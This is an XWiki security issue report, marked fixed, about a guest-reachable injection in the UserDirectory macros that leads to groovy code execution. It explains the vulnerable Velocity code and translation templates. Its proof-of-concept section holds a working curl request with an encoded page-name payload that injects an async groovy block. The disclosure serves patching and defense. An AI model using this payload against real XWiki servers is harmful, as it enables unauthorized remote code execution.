Details
-
Bug
-
Resolution: Fixed
-
Critical
-
4.0-milestone-2
-
Unknown
-
N/A
-
-
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
-
9.3
Description
Requirements
- none (guest)
Explanation
XWiki/UserDirectoryMacros.xml#L298-L327 substitutes raw $doc.fullName into two 2-arg services.localization.render calls whose translation templates (xe.userdirectory.canCustomizeInfo / xe.userdirectory.isCustomizedWarning in ApplicationResources.properties#L2611-L2612) place the substituted slot inside wiki-link target syntax [[label>>{0}||queryString="..."]] within an outer warning / info body.
Main/UserDirectory.xml#L23-L46 includes UserDirectoryMacros, calls #displayUserDirectory, and is sheet-bindable. {sheet=Main.UserDirectory on a non-existent attacker-named path flips $doc.fullName to attacker bytes (EntityReference.setName accepts ], ", ~, }, {, $, #, newlines). ]] closes the link, then the usual groovy async.
Guest reach via the warning branch: the #elseif ($isCustomized) branch (line 304) requires $isCustomized=true, which is set at lines 91-94 when $columnsString != $defaultColumnsString. $columnsString is read from the result of $configurationDoc.updateObjectFromRequest($directoryPreferencesClassName) (line 81), which reads HTTP request parameters into an in-memory UserDirectoryPreferencesClass object.
Affected code
XWiki/UserDirectoryMacros.xml#L60-L95
#set ($isGlobalUserDirectory = $doc.fullName != 'Main.UserDirectory') ## sheet-bind => true #if ($isGlobalUserDirectory || $isGuest || $isSuperAdmin) #set ($configurationDoc = $defaultConfigurationDoc) #else #set ($configurationDoc = $xwiki.getDocument($xcontext.userReference)) #end #set ($configuration = $configurationDoc.updateObjectFromRequest($directoryPreferencesClassName)) ## reads req #set ($columnsString = $configuration.getValue('columns').trim()) ... #set ($isCustomized = false) #if ($columnsString != $defaultColumnsString) #set ($isCustomized = true) #end
XWiki/UserDirectoryMacros.xml#L298-L327
#macro (displayUserDirectoryCustomizationOptions $customize) #if ($customize) #displayUserDirectoryCustomizationForm() #elseif ($isCustomized) {{warning}} $services.localization.render('xe.userdirectory.isCustomizedWarning', [ "$doc.fullName", ## ← raw {0} into wiki-link target $escapetool.url({...}), "$doc.fullName", ## ← raw {2} 'customize=true' ]) {{/warning}} #elseif ($isGuest) ## safe: $doc.getURL('login') URL-encoded #else {{info}} $services.localization.render('xe.userdirectory.canCustomizeInfo', ["$doc.fullName", 'customize=true']) ## ← raw {0} {{/info}} #end #end
ApplicationResources.properties#L2611-L2612
xe.userdirectory.isCustomizedWarning=You are viewing a customized user directory. You can [[reset it to default>>{0}||queryString="{1}"]] or [[customize>>{2}||queryString="{3}"]] it further.
xe.userdirectory.canCustomizeInfo=The user directory can be [[customized>>{0}||queryString="{1}"]] to display the columns you wish to see.
PoC
As guest:
HOST=10.1.1.128:8080 #AttackerName]]{{async async="false" cached="false"}}{{groovy}}println("A2_USRDIR_GUEST_" + (43*47)){{/groovy}}{{/async}}[[X PAGE='AttackerName%5D%5D%7B%7Basync%20async%3D%22false%22%20cached%3D%22false%22%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22A2_USRDIR_GUEST_%22%20%2B%20%2843%2A47%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%5B%5BX' curl -s "http://$HOST/xwiki/bin/view/Sandbox/${PAGE}?sheet=Main.UserDirectory&xpage=plain&XWiki.UserDirectoryPreferencesClass_0_columns=foo"
43x47=2021, proving groovy exec
Impact
Guest can execute arbitrary groovy code.
Proposed score: 9.3
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Tested on XWiki 18.4.0-rc-1
Attachments
Issue Links
- depends on
-
XWIKI-24420 Add a velocity helper for the very common use case of a wiki translation macro call with a script parameter
-
- Closed
-
- is caused by
-
XE-1131 Allow users to customize their view of the user directory
-
- Closed
-